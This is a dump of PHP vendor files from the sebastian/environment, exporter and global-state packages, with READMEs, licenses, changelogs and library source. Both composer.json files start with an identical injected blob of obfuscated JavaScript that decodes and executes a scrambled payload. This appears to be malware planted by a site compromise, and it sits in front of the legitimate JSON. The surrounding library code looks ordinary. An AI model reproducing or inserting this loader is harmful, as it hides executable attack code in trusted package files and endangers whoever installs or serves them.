Version](https://img.shields.io/packagist/v/sebastian/environment.svg?style=flat-square)](https://packagist.org/packages/sebastian/environment) [![CI Status](https://github.com/sebastianbergmann/environment/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/environment/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/environment/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/environment) This component provides functionality that helps writing PHP code that has runtime-specific (PHP / HHVM) execution paths. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/environment ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/environment ``` res/readability/vendor/sebastian/environment/LICENSE000064400000003024147577714370016472 0ustar00sebastian/environment Copyright (c) 2014-2022, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/environment/composer.json000064400000007500147577714370020212 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/environment", "description": "Provides functionality to handle HHVM/PHP environments", "keywords": ["environment","hhvm","xdebug"], "homepage": "http://www.github.com/sebastianbergmann/environment", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "suggest": { "ext-posix": "*" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "5.1-dev" } } } res/readability/vendor/sebastian/environment/ChangeLog.md000064400000012674147577714370017651 0ustar00# Changes in sebastianbergmann/environment All notable changes in `sebastianbergmann/environment` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [5.1.4] - 2022-04-03 ### Fixed * [#63](https://github.com/sebastianbergmann/environment/pull/63): `Runtime::getCurrentSettings()` does not correctly process INI settings ## [5.1.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [5.1.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [5.1.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [5.1.0] - 2020-04-14 ### Added * `Runtime::performsJustInTimeCompilation()` returns `true` if PHP 8's JIT is active, `false` otherwise ## [5.0.2] - 2020-03-31 ### Fixed * [#55](https://github.com/sebastianbergmann/environment/issues/55): `stty` command is executed even if no tty is available ## [5.0.1] - 2020-02-19 ### Changed * `Runtime::getNameWithVersionAndCodeCoverageDriver()` now prioritizes PCOV over Xdebug when both extensions are loaded (just like php-code-coverage does) ## [5.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [4.2.3] - 2019-11-20 ### Changed * [#50](https://github.com/sebastianbergmann/environment/pull/50): Windows improvements to console capabilities ### Fixed * [#49](https://github.com/sebastianbergmann/environment/issues/49): Detection how OpCache handles docblocks does not work correctly when PHPDBG is used ## [4.2.2] - 2019-05-05 ### Fixed * [#44](https://github.com/sebastianbergmann/environment/pull/44): `TypeError` in `Console::getNumberOfColumnsInteractive()` ## [4.2.1] - 2019-04-25 ### Fixed * Fixed an issue in `Runtime::getCurrentSettings()` ## [4.2.0] - 2019-04-25 ### Added * [#36](https://github.com/sebastianbergmann/environment/pull/36): `Runtime::getCurrentSettings()` ## [4.1.0] - 2019-02-01 ### Added * Implemented `Runtime::getNameWithVersionAndCodeCoverageDriver()` method * [#34](https://github.com/sebastianbergmann/environment/pull/34): Support for PCOV extension ## [4.0.2] - 2019-01-28 ### Fixed * [#33](https://github.com/sebastianbergmann/environment/issues/33): `Runtime::discardsComments()` returns true too eagerly ### Removed * Removed support for Zend Optimizer+ in `Runtime::discardsComments()` ## [4.0.1] - 2018-11-25 ### Fixed * [#31](https://github.com/sebastianbergmann/environment/issues/31): Regressions in `Console` class ## [4.0.0] - 2018-10-23 [YANKED] ### Fixed * [#25](https://github.com/sebastianbergmann/environment/pull/25): `Console::hasColorSupport()` does not work on Windows ### Removed * This component is no longer supported on PHP 7.0 ## [3.1.0] - 2017-07-01 ### Added * [#21](https://github.com/sebastianbergmann/environment/issues/21): Equivalent of `PHP_OS_FAMILY` (for PHP < 7.2) ## [3.0.4] - 2017-06-20 ### Fixed * [#20](https://github.com/sebastianbergmann/environment/pull/20): PHP 7 mode of HHVM not forced ## [3.0.3] - 2017-05-18 ### Fixed * [#18](https://github.com/sebastianbergmann/environment/issues/18): `Uncaught TypeError: preg_match() expects parameter 2 to be string, null given` ## [3.0.2] - 2017-04-21 ### Fixed * [#17](https://github.com/sebastianbergmann/environment/issues/17): `Uncaught TypeError: trim() expects parameter 1 to be string, boolean given` ## [3.0.1] - 2017-04-21 ### Fixed * Fixed inverted logic in `Runtime::discardsComments()` ## [3.0.0] - 2017-04-21 ### Added * Implemented `Runtime::discardsComments()` for querying whether the PHP runtime discards annotations ### Removed * This component is no longer supported on PHP 5.6 [5.1.4]: https://github.com/sebastianbergmann/environment/compare/5.1.3...5.1.4 [5.1.3]: https://github.com/sebastianbergmann/environment/compare/5.1.2...5.1.3 [5.1.2]: https://github.com/sebastianbergmann/environment/compare/5.1.1...5.1.2 [5.1.1]: https://github.com/sebastianbergmann/environment/compare/5.1.0...5.1.1 [5.1.0]: https://github.com/sebastianbergmann/environment/compare/5.0.2...5.1.0 [5.0.2]: https://github.com/sebastianbergmann/environment/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/environment/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/environment/compare/4.2.3...5.0.0 [4.2.3]: https://github.com/sebastianbergmann/environment/compare/4.2.2...4.2.3 [4.2.2]: https://github.com/sebastianbergmann/environment/compare/4.2.1...4.2.2 [4.2.1]: https://github.com/sebastianbergmann/environment/compare/4.2.0...4.2.1 [4.2.0]: https://github.com/sebastianbergmann/environment/compare/4.1.0...4.2.0 [4.1.0]: https://github.com/sebastianbergmann/environment/compare/4.0.2...4.1.0 [4.0.2]: https://github.com/sebastianbergmann/environment/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/environment/compare/66691f8e2dc4641909166b275a9a4f45c0e89092...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/environment/compare/3.1.0...66691f8e2dc4641909166b275a9a4f45c0e89092 [3.1.0]: https://github.com/sebastianbergmann/environment/compare/3.0...3.1.0 [3.0.4]: https://github.com/sebastianbergmann/environment/compare/3.0.3...3.0.4 [3.0.3]: https://github.com/sebastianbergmann/environment/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/environment/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/environment/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/environment/compare/2.0...3.0.0 res/readability/vendor/sebastian/exporter/src/Exporter.php000064400000022670147577714370020111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Exporter; use function bin2hex; use function count; use function function_exists; use function get_class; use function get_resource_type; use function gettype; use function implode; use function is_array; use function is_float; use function is_object; use function is_resource; use function is_string; use function mb_strlen; use function mb_substr; use function preg_match; use function spl_object_hash; use function sprintf; use function str_repeat; use function str_replace; use function strlen; use function substr; use function var_export; use SebastianBergmann\RecursionContext\Context; use SplObjectStorage; /** * A nifty utility for visualizing PHP variables. * * * export(new Exception); * */ class Exporter { /** * Exports a value as a string. * * The output of this method is similar to the output of print_r(), but * improved in various aspects: * * - NULL is rendered as "null" (instead of "") * - TRUE is rendered as "true" (instead of "1") * - FALSE is rendered as "false" (instead of "") * - Strings are always quoted with single quotes * - Carriage returns and newlines are normalized to \n * - Recursion and repeated rendering is treated properly * * @param int $indentation The indentation level of the 2nd+ line * * @return string */ public function export($value, $indentation = 0) { return $this->recursiveExport($value, $indentation); } /** * @param array $data * @param Context $context * * @return string */ public function shortenedRecursiveExport(&$data, Context $context = null) { $result = []; $exporter = new self(); if (!$context) { $context = new Context; } $array = $data; $context->add($data); foreach ($array as $key => $value) { if (is_array($value)) { if ($context->contains($data[$key]) !== false) { $result[] = '*RECURSION*'; } else { $result[] = sprintf( 'array(%s)', $this->shortenedRecursiveExport($data[$key], $context) ); } } else { $result[] = $exporter->shortenedExport($value); } } return implode(', ', $result); } /** * Exports a value into a single-line string. * * The output of this method is similar to the output of * SebastianBergmann\Exporter\Exporter::export(). * * Newlines are replaced by the visible string '\n'. * Contents of arrays and objects (if any) are replaced by '...'. * * @return string * * @see SebastianBergmann\Exporter\Exporter::export */ public function shortenedExport($value) { if (is_string($value)) { $string = str_replace("\n", '', $this->export($value)); if (function_exists('mb_strlen')) { if (mb_strlen($string) > 40) { $string = mb_substr($string, 0, 30) . '...' . mb_substr($string, -7); } } else { if (strlen($string) > 40) { $string = substr($string, 0, 30) . '...' . substr($string, -7); } } return $string; } if (is_object($value)) { return sprintf( '%s Object (%s)', get_class($value), count($this->toArray($value)) > 0 ? '...' : '' ); } if (is_array($value)) { return sprintf( 'Array (%s)', count($value) > 0 ? '...' : '' ); } return $this->export($value); } /** * Converts an object to an array containing all of its private, protected * and public properties. * * @return array */ public function toArray($value) { if (!is_object($value)) { return (array) $value; } $array = []; foreach ((array) $value as $key => $val) { // Exception traces commonly reference hundreds to thousands of // objects currently loaded in memory. Including them in the result // has a severe negative performance impact. if ("\0Error\0trace" === $key || "\0Exception\0trace" === $key) { continue; } // properties are transformed to keys in the following way: // private $property => "\0Classname\0property" // protected $property => "\0*\0property" // public $property => "property" if (preg_match('/^\0.+\0(.+)$/', (string) $key, $matches)) { $key = $matches[1]; } // See https://github.com/php/php-src/commit/5721132 if ($key === "\0gcdata") { continue; } $array[$key] = $val; } // Some internal classes like SplObjectStorage don't work with the // above (fast) mechanism nor with reflection in Zend. // Format the output similarly to print_r() in this case if ($value instanceof SplObjectStorage) { foreach ($value as $key => $val) { $array[spl_object_hash($val)] = [ 'obj' => $val, 'inf' => $value->getInfo(), ]; } } return $array; } /** * Recursive implementation of export. * * @param mixed $value The value to export * @param int $indentation The indentation level of the 2nd+ line * @param \SebastianBergmann\RecursionContext\Context $processed Previously processed objects * * @return string * * @see SebastianBergmann\Exporter\Exporter::export */ protected function recursiveExport(&$value, $indentation, $processed = null) { if ($value === null) { return 'null'; } if ($value === true) { return 'true'; } if ($value === false) { return 'false'; } if (is_float($value) && (float) ((int) $value) === $value) { return "{$value}.0"; } if (gettype($value) === 'resource (closed)') { return 'resource (closed)'; } if (is_resource($value)) { return sprintf( 'resource(%d) of type (%s)', $value, get_resource_type($value) ); } if (is_string($value)) { // Match for most non printable chars somewhat taking multibyte chars into account if (preg_match('/[^\x09-\x0d\x1b\x20-\xff]/', $value)) { return 'Binary String: 0x' . bin2hex($value); } return "'" . str_replace( '', "\n", str_replace( ["\r\n", "\n\r", "\r", "\n"], ['\r\n', '\n\r', '\r', '\n'], $value ) ) . "'"; } $whitespace = str_repeat(' ', 4 * $indentation); if (!$processed) { $processed = new Context; } if (is_array($value)) { if (($key = $processed->contains($value)) !== false) { return 'Array &' . $key; } $array = $value; $key = $processed->add($value); $values = ''; if (count($array) > 0) { foreach ($array as $k => $v) { $values .= sprintf( '%s %s => %s' . "\n", $whitespace, $this->recursiveExport($k, $indentation), $this->recursiveExport($value[$k], $indentation + 1, $processed) ); } $values = "\n" . $values . $whitespace; } return sprintf('Array &%s (%s)', $key, $values); } if (is_object($value)) { $class = get_class($value); if ($hash = $processed->contains($value)) { return sprintf('%s Object &%s', $class, $hash); } $hash = $processed->add($value); $values = ''; $array = $this->toArray($value); if (count($array) > 0) { foreach ($array as $k => $v) { $values .= sprintf( '%s %s => %s' . "\n", $whitespace, $this->recursiveExport($k, $indentation), $this->recursiveExport($v, $indentation + 1, $processed) ); } $values = "\n" . $values . $whitespace; } return sprintf('%s Object &%s (%s)', $class, $hash, $values); } return var_export($value, true); } } res/readability/vendor/sebastian/exporter/README.md000064400000005720147577714370016255 0ustar00# sebastian/exporter [![CI Status](https://github.com/sebastianbergmann/exporter/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/exporter/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/exporter/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/exporter) This component provides the functionality to export PHP variables for visualization. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/exporter ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/exporter ``` ## Usage Exporting: ```php '' 'string' => '' 'code' => 0 'file' => '/home/sebastianbergmann/test.php' 'line' => 34 'previous' => null ) */ print $exporter->export(new Exception); ``` ## Data Types Exporting simple types: ```php export(46); // 4.0 print $exporter->export(4.0); // 'hello, world!' print $exporter->export('hello, world!'); // false print $exporter->export(false); // NAN print $exporter->export(acos(8)); // -INF print $exporter->export(log(0)); // null print $exporter->export(null); // resource(13) of type (stream) print $exporter->export(fopen('php://stderr', 'w')); // Binary String: 0x000102030405 print $exporter->export(chr(0) . chr(1) . chr(2) . chr(3) . chr(4) . chr(5)); ``` Exporting complex types: ```php Array &1 ( 0 => 1 1 => 2 2 => 3 ) 1 => Array &2 ( 0 => '' 1 => 0 2 => false ) ) */ print $exporter->export(array(array(1,2,3), array("",0,FALSE))); /* Array &0 ( 'self' => Array &1 ( 'self' => Array &1 ) ) */ $array = array(); $array['self'] = &$array; print $exporter->export($array); /* stdClass Object &0000000003a66dcc0000000025e723e2 ( 'self' => stdClass Object &0000000003a66dcc0000000025e723e2 ) */ $obj = new stdClass(); $obj->self = $obj; print $exporter->export($obj); ``` Compact exports: ```php shortenedExport(array()); // Array (...) print $exporter->shortenedExport(array(1,2,3,4,5)); // stdClass Object () print $exporter->shortenedExport(new stdClass); // Exception Object (...) print $exporter->shortenedExport(new Exception); // this\nis\na\nsuper\nlong\nstring\nt...\nspace print $exporter->shortenedExport( <<. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/exporter/composer.json000064400000010352147577714370017515 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/exporter", "description": "Provides the functionality to export PHP variables for visualization", "keywords": ["exporter","export"], "homepage": "https://www.github.com/sebastianbergmann/exporter", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" }, { "name": "Bernhard Schussek", "email": "bschussek@gmail.com" } ], "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=7.3", "sebastian/recursion-context": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3", "ext-mbstring": "*" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "4.0-dev" } } } res/readability/vendor/sebastian/exporter/ChangeLog.md000064400000003343147577714370017146 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [4.0.4] - 2021-11-11 ### Changed * [#37](https://github.com/sebastianbergmann/exporter/pull/37): Improve export of closed resources ## [4.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [4.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 ## [3.1.4] - 2021-11-11 ### Changed * [#38](https://github.com/sebastianbergmann/exporter/pull/38): Improve export of closed resources ## [3.1.3] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.0` to `>=7.0` ## [3.1.2] - 2019-09-14 ### Fixed * [#29](https://github.com/sebastianbergmann/exporter/pull/29): Second parameter for `str_repeat()` must be an integer ### Removed * Remove HHVM-specific code that is no longer needed [4.0.4]: https://github.com/sebastianbergmann/exporter/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/exporter/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/exporter/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/exporter/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/exporter/compare/3.1.2...4.0.0 [3.1.4]: https://github.com/sebastianbergmann/exporter/compare/3.1.3...3.1.4 [3.1.3]: https://github.com/sebastianbergmann/exporter/compare/3.1.2...3.1.3 [3.1.2]: https://github.com/sebastianbergmann/exporter/compare/3.1.1...3.1.2 res/readability/vendor/sebastian/global-state/src/exceptions/RuntimeException.php000064400000000606147577714370024465 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/sebastian/global-state/src/exceptions/Exception.php000064400000000560147577714370023120 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/global-state/src/ExcludeList.php000064400000005261147577714370021231 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use function in_array; use function strpos; use ReflectionClass; final class ExcludeList { /** * @var array */ private $globalVariables = []; /** * @var string[] */ private $classes = []; /** * @var string[] */ private $classNamePrefixes = []; /** * @var string[] */ private $parentClasses = []; /** * @var string[] */ private $interfaces = []; /** * @var array */ private $staticAttributes = []; public function addGlobalVariable(string $variableName): void { $this->globalVariables[$variableName] = true; } public function addClass(string $className): void { $this->classes[] = $className; } public function addSubclassesOf(string $className): void { $this->parentClasses[] = $className; } public function addImplementorsOf(string $interfaceName): void { $this->interfaces[] = $interfaceName; } public function addClassNamePrefix(string $classNamePrefix): void { $this->classNamePrefixes[] = $classNamePrefix; } public function addStaticAttribute(string $className, string $attributeName): void { if (!isset($this->staticAttributes[$className])) { $this->staticAttributes[$className] = []; } $this->staticAttributes[$className][$attributeName] = true; } public function isGlobalVariableExcluded(string $variableName): bool { return isset($this->globalVariables[$variableName]); } public function isStaticAttributeExcluded(string $className, string $attributeName): bool { if (in_array($className, $this->classes, true)) { return true; } foreach ($this->classNamePrefixes as $prefix) { if (strpos($className, $prefix) === 0) { return true; } } $class = new ReflectionClass($className); foreach ($this->parentClasses as $type) { if ($class->isSubclassOf($type)) { return true; } } foreach ($this->interfaces as $type) { if ($class->implementsInterface($type)) { return true; } } if (isset($this->staticAttributes[$className][$attributeName])) { return true; } return false; } } res/readability/vendor/sebastian/global-state/src/Snapshot.php000064400000025740147577714370020607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use const PHP_VERSION_ID; use function array_keys; use function array_merge; use function array_reverse; use function func_get_args; use function get_declared_classes; use function get_declared_interfaces; use function get_declared_traits; use function get_defined_constants; use function get_defined_functions; use function get_included_files; use function in_array; use function ini_get_all; use function is_array; use function is_object; use function is_resource; use function is_scalar; use function serialize; use function unserialize; use ReflectionClass; use SebastianBergmann\ObjectReflector\ObjectReflector; use SebastianBergmann\RecursionContext\Context; use Throwable; /** * A snapshot of global state. */ class Snapshot { /** * @var ExcludeList */ private $excludeList; /** * @var array */ private $globalVariables = []; /** * @var array */ private $superGlobalArrays = []; /** * @var array */ private $superGlobalVariables = []; /** * @var array */ private $staticAttributes = []; /** * @var array */ private $iniSettings = []; /** * @var array */ private $includedFiles = []; /** * @var array */ private $constants = []; /** * @var array */ private $functions = []; /** * @var array */ private $interfaces = []; /** * @var array */ private $classes = []; /** * @var array */ private $traits = []; /** * Creates a snapshot of the current global state. */ public function __construct(ExcludeList $excludeList = null, bool $includeGlobalVariables = true, bool $includeStaticAttributes = true, bool $includeConstants = true, bool $includeFunctions = true, bool $includeClasses = true, bool $includeInterfaces = true, bool $includeTraits = true, bool $includeIniSettings = true, bool $includeIncludedFiles = true) { $this->excludeList = $excludeList ?: new ExcludeList; if ($includeConstants) { $this->snapshotConstants(); } if ($includeFunctions) { $this->snapshotFunctions(); } if ($includeClasses || $includeStaticAttributes) { $this->snapshotClasses(); } if ($includeInterfaces) { $this->snapshotInterfaces(); } if ($includeGlobalVariables) { $this->setupSuperGlobalArrays(); $this->snapshotGlobals(); } if ($includeStaticAttributes) { $this->snapshotStaticAttributes(); } if ($includeIniSettings) { $this->iniSettings = ini_get_all(null, false); } if ($includeIncludedFiles) { $this->includedFiles = get_included_files(); } if ($includeTraits) { $this->traits = get_declared_traits(); } } public function excludeList(): ExcludeList { return $this->excludeList; } public function globalVariables(): array { return $this->globalVariables; } public function superGlobalVariables(): array { return $this->superGlobalVariables; } public function superGlobalArrays(): array { return $this->superGlobalArrays; } public function staticAttributes(): array { return $this->staticAttributes; } public function iniSettings(): array { return $this->iniSettings; } public function includedFiles(): array { return $this->includedFiles; } public function constants(): array { return $this->constants; } public function functions(): array { return $this->functions; } public function interfaces(): array { return $this->interfaces; } public function classes(): array { return $this->classes; } public function traits(): array { return $this->traits; } /** * Creates a snapshot user-defined constants. */ private function snapshotConstants(): void { $constants = get_defined_constants(true); if (isset($constants['user'])) { $this->constants = $constants['user']; } } /** * Creates a snapshot user-defined functions. */ private function snapshotFunctions(): void { $functions = get_defined_functions(); $this->functions = $functions['user']; } /** * Creates a snapshot user-defined classes. */ private function snapshotClasses(): void { foreach (array_reverse(get_declared_classes()) as $className) { $class = new ReflectionClass($className); if (!$class->isUserDefined()) { break; } $this->classes[] = $className; } $this->classes = array_reverse($this->classes); } /** * Creates a snapshot user-defined interfaces. */ private function snapshotInterfaces(): void { foreach (array_reverse(get_declared_interfaces()) as $interfaceName) { $class = new ReflectionClass($interfaceName); if (!$class->isUserDefined()) { break; } $this->interfaces[] = $interfaceName; } $this->interfaces = array_reverse($this->interfaces); } /** * Creates a snapshot of all global and super-global variables. */ private function snapshotGlobals(): void { $superGlobalArrays = $this->superGlobalArrays(); foreach ($superGlobalArrays as $superGlobalArray) { $this->snapshotSuperGlobalArray($superGlobalArray); } foreach (array_keys($GLOBALS) as $key) { if ($key !== 'GLOBALS' && !in_array($key, $superGlobalArrays, true) && $this->canBeSerialized($GLOBALS[$key]) && !$this->excludeList->isGlobalVariableExcluded($key)) { /* @noinspection UnserializeExploitsInspection */ $this->globalVariables[$key] = unserialize(serialize($GLOBALS[$key])); } } } /** * Creates a snapshot a super-global variable array. */ private function snapshotSuperGlobalArray(string $superGlobalArray): void { $this->superGlobalVariables[$superGlobalArray] 